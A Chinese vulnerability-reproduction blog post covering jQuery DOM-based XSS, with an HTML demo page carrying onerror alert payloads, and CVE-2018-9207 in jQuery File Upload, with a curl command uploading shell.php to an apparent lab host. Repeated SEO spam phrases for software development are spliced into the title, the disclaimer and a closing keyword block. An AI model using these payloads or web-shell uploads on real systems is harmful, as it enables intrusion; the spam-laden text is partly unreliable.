专注app软件定制开发jQuery漏洞复现整理

jQuery DOM-based XSS

免责声明:

专注app软件定制开发本文章仅供学习和研究使用,专注app软件定制开发严禁使用该文章内容对专注app软件定制开发互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

漏洞详情

在JQuery的诸多发行版本中,存在着DOM-based XSS(跨站脚本攻击的一种)漏洞,易被攻击者利用。漏洞原因在于过滤用户输入数据所使用的正则表达式存在缺陷,可能导致 location.hash 跨站漏洞。
2.x的版本可以使用Safari浏览器来弹框。

JavaScript XSS Demo

<!DOCTYPE html><html lang="zh"><head>    <meta charset="UTF-8">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <meta http-equiv="X-UA-Compatible" content="ie=edge">    <title>Jquery XSS</title>    <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.6.1/jquery.js"></script>    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.9.1/jquery.js"></script> -->    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.11.1/jquery.js"></script> -->    <!-- <script type="text/javascript" src="https://cdn.bootcss.com/jquery/1.12.1/jquery.js"></script> -->    <script>        $(function () {            // #9521            // #11290            $(location.hash);            // #11974            $('#bug').on('click', function () {                $.parseHTML("<img src='z' οnerrοr='alert(\"bug-11974\")'>");                return false;            });        })    </script></head><body>    <h1>jQuery with XSS</h1>    <h2>Demo:</h2>    <p style="color:red;">Note: Source code changes jQuery version,As long as there is no bullet window, there will be no problem.!</p>    <ul>        <li><a href="#<img src=/ onerror=alert(1)>" target="_blank">bug-9521</a> => <a                href="https://bugs.jquery.com/ticket/9521" target="_blank">ticket</a></li>        <li><a href="#p[class='<img src=/ onerror=alert(2)>']" target="_blank">bug-11290</a> => <a                href="https://bugs.jquery.com/ticket/11290" target="_blank">ticket</a></li>        <li><a href="#11974" id="bug">bug-11974</a> => <a href="https://bugs.jquery.com/ticket/11974"                target="_blank">ticket</a></li>    </ul>    <h2>Test version:</h2>    <ul>        <li><a href="http://research.insecurelabs.org/jquery/test/" target="_blank">test result</a></li>    </ul>    <h2>Safe version:</h2>    <ul>        <li>1.12.0, 1.12.1 </li>        <li>2.2.0, 2.2.1</li>        <li>3.0.0, 3.0.1, 3.1.0, 3.1.1</li>    </ul></body></html>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53

1.6.1版本:

1.9.1版本:

个别版本无法弹框可以使用Safari浏览器,因为Safari浏览器会经过URL编码进入函数,依然可以使用html5 的一些特性,引发错误并弹框。

jQuery file upload 文件上传漏洞 (CVE-2018-9207)

漏洞详情

jQuery file upload是一个文件上传小工具,包含多个文件选择,拖放支持,进度条,验证和预览图像,jQuery的音频和视频。支持、分块和可恢复文件上传以及客户端图像大小调整。适用于任何服务器端平台——支持标准HTML表单文件上传(PHP,Python,Ruby on Rails,Java,Node.js,Go等)。

这个漏洞产生主要是因为jQuery-File-Upload的.htaccess文件会限制文件的上传和文件的执行,但是Apache的2.3.9版本中,Apache默认不再支持.htaccess了,而且默认是没有被开启的,所以导致攻击者可以任意上传脚本文件并执行。如果使用了另一种web容器的话(比如Nginx),那么基于.htaccess文件的保护则完全无效。

漏洞复现


POC:

curl -F "files=@shell.php" http://cc2ce5c953d2e3b36bde9f346d4290ea.n2.vsgo.cloud:8395/server/php/index.php
  • 1


其实直接点击上传也行,就是一个文件上传漏洞

wireshark抓包看一下。(注意路径问题)

修复建议:

1.启用htaccess文件,对上传类型进行限制。
2.更新jQuery file upload至最新版本(https://github.com/blueimp/jQuery-File-Upload)。

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发